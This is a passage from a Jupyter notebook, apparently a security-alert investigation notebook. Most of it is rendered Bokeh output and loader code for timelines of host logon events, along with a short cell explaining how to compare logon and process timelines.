policy\":{\"id\":\"1840\",\"type\":\"UnionRenderers\"}},\"id\":\"1814\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"1792\",\"type\":\"ResetTool\"},{\"attributes\":{\"callback\":null},\"id\":\"1771\",\"type\":\"DataRange1d\"},{\"attributes\":{},\"id\":\"1840\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"1777\",\"type\":\"LinearScale\"},{\"attributes\":{\"source\":{\"id\":\"1766\",\"type\":\"ColumnDataSource\"}},\"id\":\"1807\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"1841\",\"type\":\"Selection\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"1801\",\"type\":\"DatetimeTickFormatter\"},\"plot\":{\"id\":\"1769\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"1780\",\"type\":\"DatetimeTicker\"}},\"id\":\"1779\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"lightgrey\"},\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":{\"value\":1.0},\"line_color\":{\"value\":\"black\"},\"line_dash\":[4,4],\"line_width\":{\"value\":2},\"plot\":null,\"render_mode\":\"css\",\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"1796\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"data_source\":{\"id\":\"1808\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"1810\",\"type\":\"Circle\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1811\",\"type\":\"Circle\"},\"selection_glyph\":null,\"view\":{\"id\":\"1813\",\"type\":\"CDSView\"}},\"id\":\"1812\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1811\",\"type\":\"Circle\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"1825\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"1830\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"1828\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1829\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"1838\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1804\",\"type\":\"Circle\"},{\"attributes\":{\"plot\":null,\"text\":\"Timeline All Host Logons\"},\"id\":\"1768\",\"type\":\"Title\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"green\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"green\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1810\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"1837\",\"type\":\"Selection\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1834\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1805\",\"type\":\"Circle\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"1833\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"Tooltip\":\"printf\"},\"tooltips\":[[\"Account\",\"@Account\"],[\"LogonType\",\"@LogonType\"]]},\"id\":\"1767\",\"type\":\"HoverTool\"},{\"attributes\":{},\"id\":\"1839\",\"type\":\"Selection\"},{\"attributes\":{\"callback\":null},\"id\":\"1773\",\"type\":\"DataRange1d\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1826\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"data_source\":{\"id\":\"1766\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"1804\",\"type\":\"Circle\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1805\",\"type\":\"Circle\"},\"selection_glyph\":null,\"view\":{\"id\":\"1807\",\"type\":\"CDSView\"}},\"id\":\"1806\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"1775\",\"type\":\"LinearScale\"},{\"attributes\":{\"callback\":null,\"data\":{\"Account\":[\"MSTICAlertsWin1\\\\MSTICAdmin\",\"NT AUTHORITY\\\\SYSTEM\",\"Window Manager\\\\DWM-2\"],\"LogonType\":[4,5,2],\"TimeGenerated\":{\"__ndarray__\":\"ALA0MY6OdkIAwM4si452QgCAo9w8jnZC\",\"dtype\":\"float64\",\"shape\":[3]},\"index\":[0,1,6],\"y_index\":[1,1,1]},\"selected\":{\"id\":\"1839\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"1838\",\"type\":\"UnionRenderers\"}},\"id\":\"1808\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"1824\",\"type\":\"AdaptiveTicker\"},{\"id\":\"1825\",\"type\":\"AdaptiveTicker\"},{\"id\":\"1826\",\"type\":\"AdaptiveTicker\"},{\"id\":\"1827\",\"type\":\"DaysTicker\"},{\"id\":\"1828\",\"type\":\"DaysTicker\"},{\"id\":\"1829\",\"type\":\"DaysTicker\"},{\"id\":\"1830\",\"type\":\"DaysTicker\"},{\"id\":\"1831\",\"type\":\"MonthsTicker\"},{\"id\":\"1832\",\"type\":\"MonthsTicker\"},{\"id\":\"1833\",\"type\":\"MonthsTicker\"},{\"id\":\"1834\",\"type\":\"MonthsTicker\"},{\"id\":\"1835\",\"type\":\"YearsTicker\"}]},\"id\":\"1780\",\"type\":\"DatetimeTicker\"},{\"attributes\":{},\"id\":\"1785\",\"type\":\"BasicTicker\"},{\"attributes\":{\"plot\":{\"id\":\"1769\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"1780\",\"type\":\"DatetimeTicker\"}},\"id\":\"1783\",\"type\":\"Grid\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1831\",\"type\":\"MonthsTicker\"}],\"root_ids\":[\"1769\"]},\"title\":\"Bokeh Application\",\"version\":\"1.0.4\"}};\n",
       "  var render_items = [{\"docid\":\"8a22f98f-31a4-452e-ba9b-153e719ce0dd\",\"roots\":{\"1769\":\"34ab7d12-04cc-4c76-95a3-7fb2431c4cb0\"}}];\n",
       "  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n",
       "\n",
       "  }\n",
       "  if (root.Bokeh !== undefined) {\n",
       "    embed_document(root);\n",
       "  } else {\n",
       "    var attempts = 0;\n",
       "    var timer = setInterval(function(root) {\n",
       "      if (root.Bokeh !== undefined) {\n",
       "        embed_document(root);\n",
       "        clearInterval(timer);\n",
       "      }\n",
       "      attempts++;\n",
       "      if (attempts > 100) {\n",
       "        console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n",
       "        clearInterval(timer);\n",
       "      }\n",
       "    }, 10, root)\n",
       "  }\n",
       "})(window);"
      ],
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "1769"
      }
     },
     "output_type": "display_data"
    }
   ],
   "source": [
    "# Show timeline of events - all logons + clustered logons\n",
    "if host_logons is not None and not host_logons.empty:\n",
    "    nbdisp.display_timeline(data=host_logons, overlay_data=clus_logons,\n",
    "                             alert=security_alert, \n",
    "                             source_columns=['Account', 'LogonType'],\n",
    "                             title='All Host Logons')"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### View Process Session and Logon Events in Timelines\n",
    "This shows the timeline of the clustered logon events with the process tree obtained earlier. This allows you to get a sense of which logon was responsible for the process tree session whether any additional logons (e.g. creating a process as another user) might be associated with the alert timeline.\n",
    "\n",
    "*Note you should use the pan and zoom tools to align the timelines since the data may be over different time ranges.*"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 93,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.pydata.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"1981\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "\n",
       "(function(root) {\n",
       "  function now() {\n",
       "    return new Date();\n",
       "  }\n",
       "\n",
       "  var force = true;\n",
       "\n",
       "  if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n",
       "    root._bokeh_onload_callbacks = [];\n",
       "    root._bokeh_is_loading = undefined;\n",
       "  }\n",
       "\n",
       "  var JS_MIME_TYPE = 'application/javascript';\n",
       "  var HTML_MIME_TYPE = 'text/html';\n",
       "  var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n",
       "  var CLASS_NAME = 'output_bokeh rendered_html';\n",
       "\n",
       "  /**\n",
       "   * Render data to the DOM node\n",
       "   */\n",
       "  function render(props, node) {\n",
       "    var script = document.createElement(\"script\");\n",
       "    node.appendChild(script);\n",
       "  }\n",
       "\n",
       "  /**\n",
       "   * Handle when an output is cleared or removed\n",
       "   */\n",
       "  function handleClearOutput(event, handle) {\n",
       "    var cell = handle.cell;\n",
       "\n",
       "    var id = cell.output_area._bokeh_element_id;\n",
       "    var server_id = cell.output_area._bokeh_server_id;\n",
       "    // Clean up Bokeh references\n",
       "    if (id != null && id in Bokeh.index) {\n",
       "      Bokeh.index[id].model.document.clear();\n",
       "      delete Bokeh.index[id];\n",
       "    }\n",
       "\n",
       "    if (server_id !== undefined) {\n",
       "      // Clean up Bokeh references\n",
       "      var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n",
       "      cell.notebook.kernel.execute(cmd, {\n",
       "        iopub: {\n",
       "          output: function(msg) {\n",
       "            var id = msg.content.text.trim();\n",
       "            if (id in Bokeh.index) {\n",
       "              Bokeh.index[id].model.document.clear();\n",
       "              delete Bokeh.index[id];\n",
       "            }\n",
       "          }\n",
       "        }\n",
       "      });\n",
       "      // Destroy server and session\n",
       "      var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n",
       "      cell.notebook.kernel.execute(cmd);\n",
       "    }\n",
       "  }\n",
       "\n",
       "  /**\n",
       "   * Handle when a new output is added\n",
       "   */\n",
       "  function handleAddOutput(event, handle) {\n",
       "    var output_area = handle.output_area;\n",
       "    var output = handle.output;\n",
       "\n",
       "    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n",
       "    if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n",
       "      return\n",
       "    }\n",
       "\n",
       "    var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n",
       "\n",
       "    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n",
       "      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n",
       "      // store reference to embed id on output_area\n",
       "      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n",
       "    }\n",
       "    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n",
       "      var bk_div = document.createElement(\"div\");\n",
       "      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n",
       "      var script_attrs = bk_div.children[0].attributes;\n",
       "      for (var i = 0; i < script_attrs.length; i++) {\n",
       "        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n",
       "      }\n",
       "      // store reference to server id on output_area\n",
       "      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n",
       "    }\n",
       "  }\n",
       "\n",
       "  function register_renderer(events, OutputArea) {\n",
       "\n",
       "    function append_mime(data, metadata, element) {\n",
       "      // create a DOM node to render to\n",
       "      var toinsert = this.create_output_subarea(\n",
       "        metadata,\n",
       "        CLASS_NAME,\n",
       "        EXEC_MIME_TYPE\n",
       "      );\n",
       "      this.keyboard_manager.register_events(toinsert);\n",
       "      // Render to node\n",
       "      var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n",
       "      render(props, toinsert[toinsert.length - 1]);\n",
       "      element.append(toinsert);\n",
       "      return toinsert\n",
       "    }\n",
       "\n",
       "    /* Handle when an output is cleared or removed */\n",
       "    events.on('clear_output.CodeCell', handleClearOutput);\n",
       "    events.on('delete.Cell', handleClearOutput);\n",
       "\n",
       "    /* Handle when a new output is added */\n",
       "    events.on('output_added.OutputArea', handleAddOutput);\n",
       "\n",
       "    /**\n",
       "     * Register the mime type and append_mime function with output_area\n",
       "     */\n",
       "    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n",
       "      /* Is output safe? */\n",
       "      safe: true,\n",
       "      /* Index of renderer in `output_area.display_order` */\n",
       "      index: 0\n",
       "    });\n",
       "  }\n",
       "\n",
       "  // register the mime type if in Jupyter Notebook environment and previously unregistered\n",
       "  if (root.Jupyter !== undefined) {\n",
       "    var events = require('base/js/events');\n",
       "    var OutputArea = require('notebook/js/outputarea').OutputArea;\n",
       "\n",
       "    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n",
       "      register_renderer(events, OutputArea);\n",
       "    }\n",
       "  }\n",
       "\n",
       "  \n",
       "  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n",
       "    root._bokeh_timeout = Date.now() + 5000;\n",
       "    root._bokeh_failed_load = false;\n",
       "  }\n",
       "\n",
       "  var NB_LOAD_WARNING = {'data': {'text/html':\n",
       "     \"<div style='background-color: #fdd'>\\n\"+\n",
       "     \"<p>\\n\"+\n",
       "     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n",
       "     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n",
       "     \"</p>\\n\"+\n",
       "     \"<ul>\\n\"+\n",
       "     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n",
       "     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n",
       "     \"</ul>\\n\"+\n",
       "     \"<code>\\n\"+\n",
       "     \"from bokeh.resources import INLINE\\n\"+\n",
       "     \"output_notebook(resources=INLINE)\\n\"+\n",
       "     \"</code>\\n\"+\n",
       "     \"</div>\"}};\n",
       "\n",
       "  function display_loaded() {\n",
       "    var el = document.getElementById(\"1981\");\n",
       "    if (el != null) {\n",
       "      el.textContent = \"BokehJS is loading...\";\n",
       "    }\n",
       "    if (root.Bokeh !== undefined) {\n",
       "      if (el != null) {\n",
       "        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n",
       "      }\n",
       "    } else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(display_loaded, 100)\n",
       "    }\n",
       "  }\n",
       "\n",
       "\n",
       "  function run_callbacks() {\n",
       "    try {\n",
       "      root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n",
       "    }\n",
       "    finally {\n",
       "      delete root._bokeh_onload_callbacks\n",
       "    }\n",
       "    console.info(\"Bokeh: all callbacks have finished\");\n",
       "  }\n",
       "\n",
       "  function load_libs(js_urls, callback) {\n",
       "    root._bokeh_onload_callbacks.push(callback);\n",
       "    if (root._bokeh_is_loading > 0) {\n",
       "      console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n",
       "      return null;\n",
       "    }\n",
       "    if (js_urls == null || js_urls.length === 0) {\n",
       "      run_callbacks();\n",
       "      return null;\n",
       "    }\n",
       "    console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n",
       "    root._bokeh_is_loading = js_urls.length;\n",
       "    for (var i = 0; i < js_urls.length; i++) {\n",
       "      var url = js_urls[i];\n",
       "      var s = document.createElement('script');\n",
       "      s.src = url;\n",
       "      s.async = false;\n",
       "      s.onreadystatechange = s.onload = function() {\n",
       "        root._bokeh_is_loading--;\n",
       "        if (root._bokeh_is_loading === 0) {\n",
       "          console.log(\"Bokeh: all BokehJS libraries loaded\");\n",
       "          run_callbacks()\n",
       "        }\n",
       "      };\n",
       "      s.onerror = function() {\n",
       "        console.warn(\"failed to load library \" + url);\n",
       "      };\n",
       "      console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n",
       "      document.getElementsByTagName(\"head\")[0].appendChild(s);\n",
       "    }\n",
       "  };var element = document.getElementById(\"1981\");\n",
       "  if (element == null) {\n",
       "    console.log(\"Bokeh: ERROR: autoload.js configured with elementid '1981' but no matching script tag was found. \")\n",
       "    return false;\n",
       "  }\n",
       "\n",
       "  var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.0.4.min.js\"];\n",
       "\n",
       "  var inline_js = [\n",
       "    function(Bokeh) {\n",
       "      Bokeh.set_log_level(\"info\");\n",
       "    },\n",
       "    \n",
       "    function(Bokeh) {\n",
       "      \n",
       "    },\n",
       "    function(Bokeh) {\n",
       "      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n",
       "      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n",
       "      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n",
       "      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n",
       "      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n",
       "      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n",
       "    }\n",
       "  ];\n",
       "\n",
       "  function run_inline_js() {\n",
       "    \n",
       "    if ((root.Bokeh !== undefined) || (force === true)) {\n",
       "      for (var i = 0; i < inline_js.length; i++) {\n",
       "        inline_js[i].call(root, root.Bokeh);\n",
       "      }if (force === true) {\n",
       "        display_loaded();\n",
       "      }} else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(run_inline_js, 100);\n",
       "    } else if (!root._bokeh_failed_load) {\n",
       "      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n",
       "      root._bokeh_failed_load = true;\n",
       "    } else if (force !== true) {\n",
       "      var cell = $(document.getElementById(\"1981\")).parents('.cell').data().cell;\n",
       "      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n",
       "    }\n",
       "\n",
       "  }\n",
       "\n",
       "  if (root._bokeh_is_loading === 0) {\n",
       "    console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n",
       "    run_inline_js();\n",
       "  } else {\n",
       "    load_libs(js_urls, function() {\n",
       "      console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n",
       "      run_inline_js();\n",
       "    });\n",
       "  }\n",
       "}(window));"
      ],
      "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  var force = true;\n\n  if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  \n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  var NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    var el = document.getElementById(\"1981\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n    }\n    finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.info(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(js_urls, callback) {\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = js_urls.length;\n    for (var i = 0; i < js_urls.length; i++) {\n      var url = js_urls[i];\n      var s = document.createElement('script');\n      s.src = url;\n      s.async = false;\n      s.onreadystatechange = s.onload = function() {\n        root._bokeh_is_loading--;\n        if (root._bokeh_is_loading === 0) {\n          console.log(\"Bokeh: all BokehJS libraries loaded\");\n          run_callbacks()\n        }\n      };\n      s.onerror = function() {\n        console.warn(\"failed to load library \" + url);\n      };\n      console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.getElementsByTagName(\"head\")[0].appendChild(s);\n    }\n  };var element = document.getElementById(\"1981\");\n  if (element == null) {\n    console.log(\"Bokeh: ERROR: autoload.js configured with elementid '1981' but no matching script tag was found. \")\n    return false;\n  }\n\n  var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.0.4.min.js\"];\n\n  var inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    \n    function(Bokeh) {\n      \n    },\n    function(Bokeh) {\n      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-1.0.4.min.css\");\n      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.0.4.min.css\");\n      console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n      Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.0.4.min.css\");\n    }\n  ];\n\n  function run_inline_js() {\n    \n    if ((root.Bokeh !== undefined) || (force === true)) {\n      for (var i = 0; i < inline_js.length; i++) {\n        inline_js[i].call(root, root.Bokeh);\n      }if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      var cell = $(document.getElementById(\"1981\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(js_urls, function() {\n      console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));"
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Alert start time =  2019-02-13 22:03:42\n"
     ]
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"e6fe9693-4987-4b3a-8c00-11e38b694d25\" data-root-id=\"1985\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "(function(root) {\n",
       "  function embed_document(root) {\n",
       "    \n",
       "  var docs_json = {\"424d8d7a-fe2e-47f3-b3d2-756d623049ff\":{\"roots\":{\"references\":[{\"attributes\":{\"below\":[{\"id\":\"1995\",\"type\":\"DatetimeAxis\"}],\"left\":[{\"id\":\"2000\",\"type\":\"LinearAxis\"}],\"min_border_left\":50,\"plot_height\":200,\"plot_width\":900,\"renderers\":[{\"id\":\"1995\",\"type\":\"DatetimeAxis\"},{\"id\":\"1999\",\"type\":\"Grid\"},{\"id\":\"2000\",\"type\":\"LinearAxis\"},{\"id\":\"2004\",\"type\":\"Grid\"},{\"id\":\"2012\",\"type\":\"BoxAnnotation\"},{\"id\":\"2022\",\"type\":\"GlyphRenderer\"},{\"id\":\"2027\",\"type\":\"GlyphRenderer\"},{\"id\":\"2029\",\"type\":\"Label\"}],\"title\":{\"id\":\"1984\",\"type\":\"Title\"},\"toolbar\":{\"id\":\"2009\",\"type\":\"Toolbar\"},\"x_range\":{\"id\":\"1987\",\"type\":\"DataRange1d\"},\"x_scale\":{\"id\":\"1991\",\"type\":\"LinearScale\"},\"y_range\":{\"id\":\"1989\",\"type\":\"DataRange1d\"},\"y_scale\":{\"id\":\"1993\",\"type\":\"LinearScale\"}},\"id\":\"1985\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"formatter\":{\"id\":\"2032\",\"type\":\"BasicTickFormatter\"},\"plot\":{\"id\":\"1985\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"2001\",\"type\":\"BasicTicker\"},\"visible\":false},\"id\":\"2000\",\"type\":\"LinearAxis\"},{\"attributes\":{\"callback\":null,\"data\":{\"Account\":[\"MSTICAlertsWin1\\\\MSTICAdmin\",\"NT AUTHORITY\\\\SYSTEM\",\"Window Manager\\\\DWM-2\"],\"LogonType\":[4,5,2],\"TimeGenerated\":{\"__ndarray__\":\"ALA0MY6OdkIAwM4si452QgCAo9w8jnZC\",\"dtype\":\"float64\",\"shape\":[3]},\"index\":[0,1,6],\"y_index\":[1,1,1]},\"selected\":{\"id\":\"2047\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"2046\",\"type\":\"UnionRenderers\"}},\"id\":\"1982\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"2035\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"2001\",\"type\":\"BasicTicker\"},{\"attributes\":{\"source\":{\"id\":\"1982\",\"type\":\"ColumnDataSource\"}},\"id\":\"2023\",\"type\":\"CDSView\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"2036\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"dimension\":1,\"plot\":{\"id\":\"1985\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"2001\",\"type\":\"BasicTicker\"}},\"id\":\"2004\",\"type\":\"Grid\"},{\"attributes\":{\"callback\":null,\"data\":{\"x\":[1550095422000.0,1550095422000.0],\"y\":[0,2]},\"selected\":{\"id\":\"2049\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"2048\",\"type\":\"UnionRenderers\"}},\"id\":\"2024\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"2037\",\"type\":\"DaysTicker\"},{\"attributes\":{\"plot\":{\"i